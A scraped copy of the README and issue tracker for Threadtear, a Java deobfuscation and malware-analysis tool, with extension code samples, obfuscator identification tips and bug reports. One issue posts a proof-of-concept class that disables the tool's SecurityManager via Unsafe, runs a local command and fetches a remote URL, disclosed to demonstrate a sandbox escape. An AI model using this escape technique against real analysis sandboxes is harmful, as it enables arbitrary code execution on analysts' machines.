Giter VIP home page Giter VIP logo

threadtear's Introduction

Threadtear Build Status Release Downloads

Threadtear is a multifunctional deobfuscation tool for java. Android application support is coming soon (Currently working on a dalvik to java converter). Suitable for easier code analysis without worrying too much about obfuscation. Even the most expensive obfuscators like ZKM or Stringer are included. For easier debugging there are other tools included. Insert debug line numbers to better understand where exceptions originate, or add .printStackTrace() to try catch blocks without re-compiling your code. Reverse compatibility is not a problem anymore, if no version specific methods are used. Analyze code flow in a graph, to better understand algorithms. Screenshot 5 Screenshot 1 Screenshot 2 Screenshot 3 Screenshot 4

Executions

An "execution" is a task that is executed and modifies all loaded class files. There are multiple types of executions, varying from bytecode cleanup to string deobfuscation. Make sure to have them in the right order. Cleanup executions for example should be executed at last, but also can help other executions if executed first. If you are ready, click on the "Run" button, and they will be executed in order.

Warning

Use this tool at your own risk. Some executions use implemented ClassLoaders to run code from the jar file. An attacker could tweak the bytecode so that malicious code could be executed. Affected executions use the class me.nov.threadtear.asm.vm.VM. These are mostly used for decrypting string or resource / access obfuscation, as it is much easier to execute the decryption methods remotely.

Security

Threadtear tries its best to protect you from malicious calls (arbitrary code executions) using its own SecurityManager, but there is no guarantee. Especially with deobfuscators like for ZKM or Stringer you have to be very careful, as reflection has to be allowed, otherwise they would not function. If you discover an ACE, please open an issue. I will try to fix them as soon as possible.

How to compile

First, run gradle build, then gradle fatJar. In builds/libs a runnable jar file should then have been created. If you don't want to download the repo, you can use the latest release.

Make your own execution

You can easily create your own execution task. Just extend me.nov.threadtear.execution.Execution:

public class MyExecution extends Execution {
	public MyExecution() {
		super(ExecutionCategory.CLEANING /* category */, "My execution" /* name */,
				"Executes something" /* description, can use html */);
	}
	/**
	* This method is invoked when the user clicks on the Run button
	* @return true if success, false if failure
	*/
	@Override
	public boolean execute(Map<String, Clazz> classes, boolean verbose) {
		classes.values().stream().map(c -> c.node).forEach(c -> {
			//transform the classes here using the tree-API of ASM
		});
		return false;
	}
}

To load ClassNodes at runtime, use the me.nov.threadtear.asm.vm.VM class and implement me.nov.threadtear.asm.vm.IVMReferenceHandler:

public class MyExecution extends Execution implements IVMReferenceHandler {
	public MyExecution() {
		super(ExecutionCategory.GENERIC, "My execution", "Loads ClassNodes at runtime");
	}
	@Override
	public boolean execute(Map<String, Clazz> classes, boolean verbose) {
		classes.values().stream().map(c -> c.node).forEach(c -> {
			VM vm = VM.constructVM(this);
			//transform bytecode to java.lang.Class
			Class<?> loadedClass = vm.loadClass(c.name.replace('/', '.'), true);
			//do stuff with your class here
			loadedClass.getMethods()[0].invoke(...);
			return true;
		});
	}
	/**
	* Will get invoked by VM, when VM.loadClass is called
	*/
	@Override
	public ClassNode tryClassLoad(String name) {
		//try to find the class to be loaded in open jar archive
		return classes.containsKey(name) ? classes.get(name).node : null;
	}
}

Using the ConstantTracker (me.nov.threadtear.analysis.stack.ConstantTracker) you can analyze methods and keep track of non-variable stack values. If for example iconst_0 is pushed to the stack, the value itself isn't lost like in the basic ASM analyzer, and you can use it to predict things later on in the code.

public class MyExecution extends Execution implements IConstantReferenceHandler {
	public MyExecution() {
		super(ExecutionCategory.GENERIC, "My execution", "Performs stack analysis and replaces code.");
	}
	@Override
	public boolean execute(Map<String, Clazz> classes, boolean verbose) {
		classes.values().stream().map(c -> c.node).forEach(this::analyzeAndRewrite);
		return true;
	}
	public void analyzeAndRewrite(ClassNode cn) {
		cn.methods.forEach(m -> {
			// this analyzer keeps known stack values, e.g. can be useful for jump prediction
			Analyzer<ConstantValue> a = new Analyzer<ConstantValue>(new ConstantTracker(this, Access.isStatic(m.access), m.maxLocals, m.desc, new Object[0]));
			try {
				a.analyze(cn.name, m);
			} catch (AnalyzerException e) {
				logger.severe("Failed stack analysis in " + cn.name + "." + m.name + ":" + e.getMessage());
				return;
			}
			Frame<ConstantValue>[] frames = a.getFrames();
			InsnList rewrittenCode = new InsnList();
			Map<LabelNode, LabelNode> labels = Instructions.cloneLabels(m.instructions);

			// rewrite method instructions
			for (int i = 0; i < m.instructions.size(); i++) {
				AbstractInsnNode ain = m.instructions.get(i);
				Frame<ConstantValue> frame = frames[i];
				// replace / modify instructions, etc...
				if (frame.getStackSize() > 0) {
					ConstantValue top = frame.getStack(frame.getStackSize() - 1);
					if (top.isKnown() && top.isInteger()) {
						int knownTopStackValue = top.getInteger();
						// use the known stack to remove jumps, simplify code, etc...
						// if(...) { rewrittenCode.add(...); }
						continue;
					}
				}
				rewrittenCode.add(ain.clone(labels));
			}
			// update instructions and fix try catch blocks, local variables, etc...
			Instructions.updateInstructions(m, labels, rewrittenCode);
		});
	}
	/**
	 * Use this method to predict stack values if fields are loaded
	 */
	@Override
	public Object getFieldValueOrNull(BasicValue v, String owner, String name, String desc) {
		return null;
	}
	/**
	 * Use this method to predict stack values if methods are invoked on known objects
	 */
	@Override
	public Object getMethodReturnOrNull(BasicValue v, String owner, String name, String desc, List<? extends ConstantValue> values) {
		if (name.equals("toCharArray") && owner.equals("java/lang/String")) {
			if (!values.get(0).isKnown()) {
				// invocation target is not known, we can't compute the return
				return null;
			}
			return ((String) values.get(0).getValue()).toCharArray();
		}
		return null;
	}
}

Don't forget to add your execution to the tree in me.nov.threadtear.execution.ExecutionLink!

Tips & Tricks

There are some tricks that can help you identify and deobfuscate jar files successfully. Before running executions, decompile the code to find out what needs to be used. You can use the implemented decompiler for that.

Deobfuscation order

The best order for a deobfuscation is generic executions > access deobfuscation > string deobfuscation > cleaning executions.

Identification

Obfuscators exhibit patterns which you can use to identify obfuscators. The easiest way to identify an obfuscator is to skim the META-INF/MANIFEST.MF file. It's possible that there is an Obfuscated-By: XXX or Protected-By: XXX attribute.

ZKM

Extremely (flow-) obfuscated code, often noticeable by a string decryption method in the static initializer containing switches, or string decryption methods with a very long switch block (about 250 cases). ZKM is one of the best (and oldest) obfuscators for java, and very expensive. As ancient as the obfuscator is their website. ZKM

Stringer

If your jar file contains some special classes with huge decryption algorithms that are used by string obfuscation and access obfuscation, it's probably Stringer. The protection is not bad and Stringer is one of the most expensive obfuscators. Unlike normal obfuscators it does not come with name obfuscation. It is rather used as "second layer". Probably 90% of people that use this obfuscator are using a crack, as it costs more than a car. If your file has been obfuscated with multiple obfuscators, and Stringer is one of them, you should begin your deobfuscation with Stringer, as Stringer obfuscation cannot be overwritten. (Due to custom JAR signature and usage of method names during string decryption) Stringer Stringer 2

Allatori

Class names like IiIlIlIiIl or aUx, cOn, PrX indicate Allatori obfuscation. Allatori is very common amongst obfuscated jar files, because it offers a free demo that accessible within a few clicks. The obfuscation is not that hard to reverse. Allatori

Paramorphism

Paramorphism is like the little brother of stringer, as it looks similar, but isn't as good as it. It also has some interesting features that aim to crash reverse engineering tools, which can be removed easily. The obfuscation strength is comparable to Allatori. Paramorphism

Other obfuscators

For other obfuscators you can try generic executions or open an issue, and I'll see what I can do.

Description and tags

Before selecting an execution, check out the tool-tip texts while hovering. They contain a small description about what they do, but also tags that help you understand how the behavior of your JAR file will be changed.

License

Threadtear is licensed under the GNU General Public License 3.0

Donate

This tool was a ton of work. If I saved your time, and you want to buy me a coffee you can do so here: Donate with Bitcoin

Notice

Use Threadtear for legal purposes only. Threadtear is not aiming to be a cracking tool, but rather to be a malware analysis toolkit. Please open an issue or email me if a transformer doesn't work properly and attach the log.
Note that output files are most likely not runnable. If you still want to try to run them use -noverify as JVM argument!
This tool intends to be used with Java 8, but it will probably run on higher versions too.

threadtear's People

Contributors

graxcode avatar iamkyaru avatar virb3 avatar weisj avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

threadtear's Issues

Look And Feel Setting Problem

Describe what's not working
If increase Font size,
"Add Execution List" no Item selectable

Please complete the following information:

  • windows 10
  • jdk 8

Overwritten Map key

Occurs in:

private static Map<Integer, String> getCodes() {
HashMap<Integer, String> map = new HashMap<>();
map.put(-1, "INVALID OPCODE");
map.put(ACC_PUBLIC, "ACC_PUBLIC");
map.put(ACC_PRIVATE, "ACC_PRIVATE");
map.put(ACC_PROTECTED, "ACC_PROTECTED");
map.put(ACC_STATIC, "ACC_STATIC");
map.put(ACC_FINAL, "ACC_FINAL");
map.put(ACC_SUPER, "ACC_SUPER");
map.put(ACC_SYNCHRONIZED, "ACC_SYNCHRONIZED");

Example:

map.put(ICONST_0, "ICONST_0");
...
map.put(H_PUTFIELD, "H_PUTFIELD");

Yes, totally different opcodes, but they all have an int value of 3, so the last assignment overwrites the previous ones.

Does anybody know what this obfuscator is?

Stumbled across a jar file with this string obfuscation (static initializer code):

      byte var10000 = 15;
      var10000 = 14;
      boolean var7 = true;
      int var0 = -1716149230;
      var0 &= 1576531202;
      byte[] var8 = Base64.getDecoder().decode("4AAAAB4gAAAAAAAePiAAAADiwuAeIOL+Pj4gHiAA4sLCwuAAHiAAHiDi4ALciJxYNILa+mACbJzs9ihGYBoAJBYEoGAaQP6cWKDkHlp4jlyYKF7q8KRownBeEmK4QAioekxids6WIBSg8lB2GoS4Dp6KjBo2AGB4UobM+gACaMJsTgIEuEAIqHpi7l6OsoDsXPikRmaaGAx+XDzy7ABoIBgomv72KEZUfqIg9KAA5lxKhAakGLq+ogJqYkjGWPAgAKwu6mjCcmzw+AAQFOZ2uBqOXuSaWuj4UCLy+pZk8PACAHb2ZhIUFAoKmu7s7AKeUGJUTJgeru7CaPDQaAACSlbK/r72RCLyEvxOou5cZhxQ1rCiagL2wsQYNoJadihY5nb+gniQ8vAEjHikJJ4U/ORq6FSIeDhq/oB8KkbsBIhUYAiaeBqqAgLOlu7uFhiSYPz4XpgSrJx2LmyW+mDsQgAS6viwvHiMGKwGXORq6FSIeDhq/oB8KkbsBIhUYAiaYAaonnQatJpkeqhK6M6W7u4WGJJg/PhemBKsnHYubJb6ZB6g/vwA/ORq6FSIeDhqGsJ2JvBIxL4GBFakJIhiFrwCBADkMGAMsgAOppie2kaqFm5O5GoAXGIQOmiGYIwMBopIoG5kwBgiAJKcKkKoCAyE2MIA/ARg+FrykDAaMgBc2mSG1uwYktR8OLqgomoC7sAAECDqYOQwYAyyFuAQqALo3Hy4iN4YEljoXooAFu5oxpwChnQcPNxKZJBk2iSynGyGnopgYO7e7HSYGrq8YOxq5lwGmnakuozqQnr8ShIIXooAFu5o2DJg5nQcKkbsBJBk2sQYnPp2KFjmdv58dKBapvqsiFCY6Bjmdv5mFgKu8Bpi7v78TO5KcgZwrPrc6vrmGP6QAgqcUhqi/OJyOFyQGqoGYAJ2hk7uBIhYcCAKFKQQcoLsmnaUfOCqTmKiHihc9ihOYtwYwvxcmp7+SNhC5lr6BKBaeDwI/EgGpAiI6KBu9mQc0KQm8vz0YA4KhvpSAmx4GOIUinzodiYEAl4YitzqXid996OTlXo=");
      int var10001 = var8.length;
      byte[] var3;
      int var5;
      int var10002;
      if(var8.length != 0) {
         int var4 = var10001;
         var3 = new byte[var10001];
         var5 = var10001;

         do {
            var0 &= 536202998;
            var5 += -1;
            byte var9 = var8[var5];
            if(var5 + 6 + -var4 >= 0) {
               var10002 = var0 & '\u8000';
               var0 &= -646058490;
               var10001 = var9 + 6;
            } else {
               var10001 = var9 + var3[var5 + 6];
            }

            var10002 = var0 & 1024;
            var0 &= 502635791;
            var3[var5] = (byte)var10001;
         } while(var5 != 0);

         var8 = var3;
         var10001 = -6929 & 6928;
      }

      var10002 = var0 & 128;
      var10002 = var0 & 262144;
      var0 &= -46297094;
      byte[] var2 = var8;
      var10001 = var8.length + -1;
      if(var8.length + -1 != 0) {
         var3 = new byte[var10001];
         var5 = var10001;

         while(true) {
            var0 &= -1078080002;
            var5 += -1;
            var3[var5] = (byte)((var8[var5] << 3) + (var2[var5 + (20528 ^ 20529)] >> 5 & (20486 ^ 20481)));
            if(var5 == 0) {
               var8 = var3;
               var10001 = 13638 & -16247;
               break;
            }
         }
      }

      var10002 = var0 & 8;
      var10002 = var0 & 8;
      var0 &= -616704874;
      var10001 = var8.length;
      if(var8.length != 0) {
         var3 = new byte[var10001];
         var5 = var10001;

         while(true) {
            var0 &= -574763918;
            var5 += -1;
            var3[var5] = (byte)(((var8[var5] ^ 25) << (1316 & 204) & -16 | (var8[var5] ^ 25) >> (262 & 3620) & 15) + 18);
            if(var5 == 0) {
               var8 = var3;
               var10001 = -9181 & 8924;
               break;
            }
         }
      }

      var10002 = var0 & 2;
      var10002 = var0 & '\u8000';
      var0 &= 503307910;
      var3 = var8;
      String var6 = new String(var3, StandardCharsets.UTF_8);
      String[] var10 = new String[2384 ^ 2380];
      String[] var11 = new String[4363 ^ 4375];
      var11[18435 ^ 18436] = var6.substring(17994 & -18283, 4167 & 2063);
      var11[280 & 6348] = var6.substring(4201 ^ 4206, 93 ^ 83);
      var11[-31470 ^ -31461] = var6.substring(-27583 ^ -27569, 1584 ^ 1573);
      var11[-32219 ^ -32209] = var6.substring(4117 & 18581, 14396 & 1118);
      var11[24637 & 2893] = var6.substring(30524 & 221, 80 ^ 115);
      var11[-30713 ^ -30708] = var6.substring(11 ^ 40, 2628 ^ 2670);
      var11[16423 ^ 16427] = var6.substring(1043 ^ 1081, 17841 & 12337);
      var11[16768 ^ 16791] = var6.substring(396 ^ 445, 4174 & 106);
      var11[20274 & 155] = var6.substring(4680 ^ 4610, 4161 ^ 4150);
      var11[4441 & 17469] = var6.substring(10538 ^ 10589, 6654 & 159);
      var11[3101 & 12437] = var6.substring(8638 & 20638, 4164 ^ 4262);
      var11[245 & 8705] = var6.substring(21479 & 2290, 4351 & 18926);
      var11[2305 ^ 2307] = var6.substring(8513 ^ 8623, 17444 ^ 17628);
      var11[29709 & 2085] = var6.substring(19704 & 12536, 318 & 6027);
      var11[2326 ^ 2317] = var6.substring(16698 & 14158, 433 & 21816);
      var11[4111 & 18399] = var6.substring(16429 ^ 16669, 4477 & 1004);
      var11[8229 ^ 8245] = var6.substring(321 ^ 45, 4496 ^ 4152);
      var11[-32109 ^ -32126] = var6.substring(-31616 ^ -31448, 8307 ^ 8615);
      var11[1310 & 4187] = var6.substring(17742 ^ 17562, 1260 ^ 1773);
      var11[1135 ^ 1145] = var6.substring(-32533 ^ -32022, 6339 ^ 6881);
      var11[1046 & 18694] = var6.substring(554 & 695, 3202 ^ 3752);
      var11[678 ^ 690] = var6.substring(6403 ^ 6953, 624 & 6755);
      var11[556 ^ 575] = var6.substring(4187 ^ 4667, 444 ^ 826);
      var11[1052 ^ 1048] = var6.substring(-27880 ^ -28258, 93 ^ 719);
      var11[835 & 16423] = var6.substring(2710 & 979, -24153 ^ -23803);
      var11[16398 & 10782] = var6.substring(2234 ^ 2584, -32250 ^ -32563);
      var11[278 ^ 270] = var6.substring(4811 & 763, 6911 & 767);
      var11[-2782 & 2265] = var6.substring(767 & 1791, 29212 ^ 28928);

Allatori string decryption bug

Hello i have been trying to deobfuscate one jar file.
its mixed and i got everything from it except strings which are pretty important for me
so it says:
Of a total 274 encrypted strings, 0.0% were successfully decrypted

So it knows they are encrypted, and they look like allatori.
Above that it spams this:

Failed to decrypt string in Class329._congo()V: java.lang.reflect.InvocationTargetException, nul
its always the same bug, only other class.

specifying extra jars into classpath

I've tried using -cp but haven't had much luck - when deobfuscating jars that require multiple jars (otherwise you'll get ClassNotFoundError when running threadtear), how can you specify those extra jars to be part of the classpath?

I've had to combine all files into one jar file so far as a workaround.

ZKM null pointer exception on flow obfuscation removal

Describe what's not working
Running the ZKM deobfuscation tool, specifically "Flow obfuscation removal (ZKM)" results in a null pointer exception.

  • running latest version 3.0.0
  • as administrator, with -noverify
  • notice it only crashes in some cases, not always able to recreate

Java archive
Link to archive: https://easyupload.io/dbiftd

  • includes latest ZKM 14 obfuscation across the board

Log / Screenshots

Exception in thread "Execution-Thread" java.lang.NullPointerException
        at me.nov.threadtear.execution.zkm.FlowObfuscationZKM.removeZKMJumps(FlowObfuscationZKM.java:39)
        at java.util.ArrayList.forEach(Unknown Source)
        at me.nov.threadtear.execution.zkm.FlowObfuscationZKM.lambda$execute$2(FlowObfuscationZKM.java:32)
        at java.util.stream.ForEachOps$ForEachOp$OfRef.accept(Unknown Source)
        at java.util.stream.ReferencePipeline$3$1.accept(Unknown Source)
        at java.util.HashMap$ValueSpliterator.forEachRemaining(Unknown Source)
        at java.util.stream.AbstractPipeline.copyInto(Unknown Source)
        at java.util.stream.AbstractPipeline.wrapAndCopyInto(Unknown Source)
        at java.util.stream.ForEachOps$ForEachOp.evaluateSequential(Unknown Source)
        at java.util.stream.ForEachOps$ForEachOp$OfRef.evaluateSequential(Unknown Source)
        at java.util.stream.AbstractPipeline.evaluate(Unknown Source)
        at java.util.stream.ReferencePipeline.forEach(Unknown Source)
        at me.nov.threadtear.execution.zkm.FlowObfuscationZKM.execute(FlowObfuscationZKM.java:32)
        at me.nov.threadtear.ThreadtearCore.lambda$run$5(ThreadtearCore.java:62)
        at java.util.ArrayList.forEach(Unknown Source)
        at me.nov.threadtear.ThreadtearCore.run(ThreadtearCore.java:59)
        at me.nov.threadtear.Threadtear.lambda$run$5(Threadtear.java:157)
        at java.lang.Thread.run(Unknown Source)

Please complete the following information:
Running on latest JDK, 14.

About unused code in the project.

Hi guys, I thought I should open an issue for that:

There are so many unused declarations in your project, be it methods, unused imports, global fields etc.

Capture

Is this done on purpose / am I missing something? Or is this "unused" code being loaded at Runtime indirectly (maybe with reflection?)

Any reply is appreciated, thanks.

Security Manager Deprecation

Hello.

A new JEP was recently submitted to the security-dev mailing list proposing the depreciation of the Security Manager (for removal): https://openjdk.java.net/jeps/411.

I think that going forward the combination of lack of support for the Security Manager in the openjdk, as well as the lack of security it actually offers, make it unsuitable for continued use sandboxing code execution in threadtear.

There are some alternatives that should be considered:

  • A JVMTI agent could be used to listen to events such as MethodEntry. These events would offer much greater power for preventing malicious code paths. Downside is that it would require development, maintenance and cross compilation of native code. Could also be problems with supporting multiple jvm versions and vendors.
  • A custom JVM implementation could be used to run the code. I am currently developing a java virtual machine implementation written in java which could be used for this purpose. Downsides are that this would require significant maintenance to ensure compatibility with obfuscated code, and ensure that the JVM cannot be fingerprinted and identified as a (fake?) jvm. It would also require maintenance to support future java versions.
  • Bytecode of methods that are to be executed could be analysed and rewritten to ensure no malicious behaviour. Method calls could be instrumented to first call a method that checks the arguments cannot lead to malicious code execution. Downsides are that this would be hard to do if any dynamic execution is employed, e.g. reflection or invokedynamic.

Needing Help With Detecting And Deobfuscating!

I am using Threadtear to deobfuscate some annoying Java code. There are around 2,700 class files (all encrypted with random ass names like _ab2) Most of them look the same as in the screenshot. I am 65% sure that this is ZKM but honestly i'm not sure since I primarily deobf C# and .NET files. Any help is greatly appreciated!

Screenshot 2021-04-16 022201
Screenshot 2021-04-16 022211
Screenshot 2021-04-16 022224
Screenshot 2021-04-16 022512_LI

*These three screenshots are from ONE file. The others look the same but are sometimes alot longer or alot shorter.

Superblaubeere27 obfuscator support

Describe what's not working
Hi this is a request for Proguard Deobfuscation as the current included methods do not work.

Example snippit:

int[] var10002;
      switch(163<invokedynamic>()[lllllIlllIIllIl.54<invokedynamic>(lllllIlllIIllIl).164<invokedynamic>(lllllIlllIIllIl.54<invokedynamic>(lllllIlllIIllIl)).165<invokedynamic>(lllllIlllIIllIl.54<invokedynamic>(lllllIlllIIllIl).164<invokedynamic>(lllllIlllIIllIl.54<invokedynamic>(lllllIlllIIllIl)))]) {
      case 1:
         var10001 = lllllIlllIIllIl.73<invokedynamic>(lllllIlllIIllIl);
         var10002 = new int[llIII[3]];
         var10002[llIII[0]] = llIII[127];
         lllllIlllIIllIl.167<invokedynamic>(lllllIlllIIllIl, var10001.166<invokedynamic>(var10001, var10002));
         "".length();
         if (-" ".length() >= " ".length() << " ".length()) {
            return (boolean)((143 ^ 194 ^ (191 ^ 160) << (" ".length() << " ".length())) << " ".length() & (((37 ^ 118) << " ".length() ^ 148 + 0 - 57 + 60) << " ".length() ^ -" ".length()));
         }
         break;
      case 2:
         var10001 = lllllIlllIIllIl.73<invokedynamic>(lllllIlllIIllIl);
         var10002 = new int[llIII[3]];
         var10002[llIII[0]] = llIII[128];
         lllllIlllIIllIl.167<invokedynamic>(lllllIlllIIllIl, var10001.166<invokedynamic>(var10001, var10002));
         "".length();
         if (" ".length() << (" ".length() << " ".length()) < " ".length() << " ".length()) {
            return (boolean)((115 + 107 - 217 + 186 ^ (211 ^ 142) << " ".length()) << "   ".length() & (((18 ^ 11) << (" ".length() << " ".length()) ^ 112 ^ 17) << "   ".length() ^ -" ".length()));
         }
         break;
      case 3:
         var10001 = lllllIlllIIllIl.73<invokedynamic>(lllllIlllIIllIl);
         var10002 = new int[llIII[3]];
         var10002[llIII[0]] = llIII[129];
         lllllIlllIIllIl.167<invokedynamic>(lllllIlllIIllIl, var10001.166<invokedynamic>(var10001, var10002));
         "".length();
         if ((" ".length() << (" ".length() << " ".length()) & ~(" ".length() << (" ".length() << " ".length()))) > 0) {
            return (boolean)("   ".length() << (" ".length() << " ".length()) & ~("   ".length() << (" ".length() << " ".length())));
         }

or

private static void lllIll() {
      llIII = new int[570];
      llIII[0] = (187 ^ 152) & ~(46 ^ 13);
      llIII[1] = "   ".length() << (" ".length() << " ".length());
      llIII[2] = ((75 ^ 110) << "   ".length()) + (164 + 152 - 192 + 189 << " ".length()) - (499 + 440 - 628 + 268) + ((118 ^ 1) << (" ".length() << " ".length())) << (13 ^ 126 ^ (137 ^ 178) << " ".length());
      llIII[3] = " ".length();
      llIII[4] = (86 + 49 - 125 + 125 << (" ".length() << " ".length())) + (166 + 17 - 169 + 239 << (" ".length() << " ".length())) - (221 + 39 - 256 + 351 << (" ".length() << " ".length())) + 592 + 342 - -327 + 244 << (" ".length() << (" ".length() << " ".length()));
      llIII[5] = " ".length() << " ".length();
      llIII[6] = 19636 + 350 - 17373 + 23578;
      llIII[7] = "   ".length();
      llIII[8] = (380 + 673 - 553 + 257 << (" ".length() << (" ".length() << " ".length()))) + (559 + 346 - -40 + 174 << (" ".length() << " ".length())) - (7840 + 4003 - 6684 + 4724) + (1252 + 754 - 681 + 1870 << " ".length()) << " ".length();
      llIII[9] = " ".length() << (" ".length() << " ".length());
      llIII[10] = (2994 + 2911 - 3415 + 3355 << (" ".length() << " ".length())) + 2033 + 13 - 758 + 11901 - (10057 + 29018 - 8500 + 5746) + 2286 + 1478 - -16609 + 5568;
      llIII[11] = 102 ^ 99;
      llIII[12] = 665 + 189 - 369 + 648 + 502 + 555 - 415 + 51 - -(772 + 606 - 76 + 119) + (300 + 90 - -227 + 208 << (" ".length() << " ".length())) << (" ".length() << " ".length());
      llIII[13] = "   ".length() << " ".length();
      llIII[14] = (2466 + 1873 - 2544 + 1248 << (" ".length() << " ".length())) + 1087 + 919 - 1149 + 752 - -(29 + 364 - 308 + 348) + 6612 + 6087 - 10152 + 9426;
      llIII[15] = 130 ^ 133;

Java archive
The jar archive that is not deobfuscated successfully. (Make sure you have the rights for it!)
Here are files you can use for reference.

https://mega.nz/folder/MVIW1ToC#SQfIM27ySJmoiahB2MLtdA

Example PoC of ACE to link on README.md

Saw your warning @ https://github.com/GraxCode/threadtear#warning and thought it would be cool if people could see what an example of a successful arbitrary code execution would look like on threadtear as well as how the deobfuscator's instances are exposed to the program.

The PoC below specifically is targeted against Allatori's transformer; however, it can easily be adapted to fool threadreaper into executing it in any of the other transformers which utilize the VM.

package me.itzsomebody.poc;

import sun.misc.Unsafe;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class PoC {
    public static void bogus() {
        System.out.println(malicious("lol"));
    }

    public static String malicious(String bogus) {
        try {
            for (StackTraceElement element : Thread.currentThread().getStackTrace()) {
                if (element.getClassName().startsWith("me.nov")) {
                    System.out.println("Found exposed threadtear deobfuscator instance: " + element.toString());
                }
            }
        } catch (Throwable t) {
        }
        try {
            Field f = Unsafe.class.getDeclaredField("theUnsafe"); // from http://weblog.ikvm.net/2011/08/01/HowToDisableTheJavaSecurityManager.aspx
            f.setAccessible(true);
            Unsafe unsafe = (Unsafe) f.get(null);
            Method staticFieldBase = Unsafe.class.getDeclaredMethod("staticFieldBase", Class.class);
            Object systemBase = staticFieldBase.invoke(unsafe, System.class);
            Method getObject = Unsafe.class.getDeclaredMethod("getObjectVolatile", Object.class, long.class);
            Method putObject = Unsafe.class.getDeclaredMethod("putObjectVolatile", Object.class, long.class, Object.class);

            for (int i = 0; ; i += 4) {
                if (getObject.invoke(unsafe, systemBase, i) == System.getSecurityManager()) {
                    putObject.invoke(unsafe, systemBase, i, null);
                    System.out.println("Disabled threadtear's SecurityManager");
                    break;
                }
            }

            Runtime.getRuntime().exec("notepad.exe");
            System.out.println("Successful command line execution");

            java.net.URLConnection connection = new java.net.URL("https://gist.githubusercontent.com/ItzSomebody/ac48f790620dace21ab2654bac155107/raw/4e6bea306e5c42a8ff58b39b76f91884931e8b4b/keybase.md").openConnection();
            connection.setConnectTimeout(8000);
            connection.setReadTimeout(8000);
            java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(connection.getInputStream()));
            String s;
            while ((s = reader.readLine()) != null) {
                System.out.println(s);
            }
            System.out.println("Successful arbitrary code execution");
        } catch (Throwable t) {
            // Oops, we failed to disable the SM
            // Gotta exit otherwise SuSpiCiOuS
        }

        return "TT ACE proof-of-concept";
    }
}

cn.name.hashCode() is prone to collisions between obfuscated names

Describe what's not working
The Stringer access deobfuscation code doesn't work properly because of class proxy collisions. I added some debug prints below to find the problem.

As you can see fuck_the_regulations_v320/dC and fuck_the_regulations_v320/cb has the same hashCode()

Here's the offending line in the executor:
ClassNode proxy = Sandbox.createClassProxy(String.valueOf(cn.name.hashCode())); // can't use real
// class name here

Java archive
The java archive I'm trying to deobfuscate is malware hiding as a crack for Jetbrains products.
I don't want to attach it, but the sample is: SHA256: e3055d5b636b39d5609b8cfa28da2d8955615985fad53a5c27baac51cadbc698 name: jetbrains-agent.jar

Log / Screenshots

20:32:29.312 ERROR: !!! fuck_the_regulations_v320/dC cn.name.hashCode(): -1516023385 
20:32:29.312 WARN : cn.name: fuck_the_regulations_v320/dC 
20:32:29.312 ERROR: !!! fuck_the_regulations_v320/cb cn.name.hashCode(): -1516023385 
20:32:29.312 ERROR: Failed load proxy for fuck_the_regulations_v320.cb, java.lang.RuntimeException: class -1516023385 is already defined 

Please complete the following information:

  • OS: Mac OS X 10.14.6
  • Java version: 13.0.1 (Eclipse)

It's your turn! Make an own execution!

If you know an obfuscator that has no execution class yet, or have an idea what could be useful for deobfuscation and analysis, make your own execution! Just extend me.nov.threadtear.execution.Execution, do your action, and open a pull request or send it to me on discord: noverify#7184

Error loading jars into program

I was trying to load a jar into ThreadTear, when I came across this error numerous amount of times across multiple jar files.

Failed to load class (java.lang.ArrayIndexOutOfBoundsException: 65448)` java.lang.ArrayIndexOutOfBoundsException: 65528 at org.objectweb.asm.ClassReader.readStringish(ClassReader.java:3691) at org.objectweb.asm.ClassReader.readClass(ClassReader.java:3706) at org.objectweb.asm.ClassReader.accept(ClassReader.java:486) at org.objectweb.asm.ClassReader.accept(ClassReader.java:394) at me.nov.threadtear.io.Conversion.toNode(Conversion.java:38) at me.nov.threadtear.io.JarIO.readEntry(JarIO.java:34) at me.nov.threadtear.io.JarIO.lambda$loadClasses$0(JarIO.java:23) at java.util.Iterator.forEachRemaining(Unknown Source) at java.util.Spliterators$IteratorSpliterator.forEachRemaining(Unknown Source) at java.util.stream.ReferencePipeline$Head.forEach(Unknown Source) at me.nov.threadtear.io.JarIO.loadClasses(JarIO.java:23) at me.nov.threadtear.swing.tree.ClassTreePanel.loadFile(ClassTreePanel.java:213) at me.nov.threadtear.swing.tree.ClassTreePanel.lambda$onFileDrop$8(ClassTreePanel.java:194) at me.nov.threadtear.swing.panel.StatusBar$2.doInBackground(StatusBar.java:103) at me.nov.threadtear.swing.panel.StatusBar$2.doInBackground(StatusBar.java:100) at javax.swing.SwingWorker$1.call(Unknown Source) at java.util.concurrent.FutureTask.run(Unknown Source) at javax.swing.SwingWorker.run(Unknown Source) at java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) at java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) at java.lang.Thread.run(Unknown Source) Failed to load class (java.lang.ArrayIndexOutOfBoundsException: 65528)

[FEATURED] Libs

Hello! What about the functionality of adding libraries during deobfuscation?

Can't find the main method

So since you don't give an already compiled version in your Release section, I downloaded the project and compiled it myself.

I'm not familiar with Gradle so I may be doing something wrong, first, I setted up the gradlew environment and then compiled the whole thing for a jar file:

gradlew build
then
gradlew jar

C:\Users\xxxx\Desktop\threadtear-master>gradlew jar

BUILD SUCCESSFUL in 1s
1 actionable task: 1 executed
C:\Users\xxxx\Desktop\threadtear-master>cd build\libs\

C:\Users\xxxx\Desktop\threadtear-master\build\libs>java -jar threadtear.jar
no main manifest attribute, in threadtear.jar

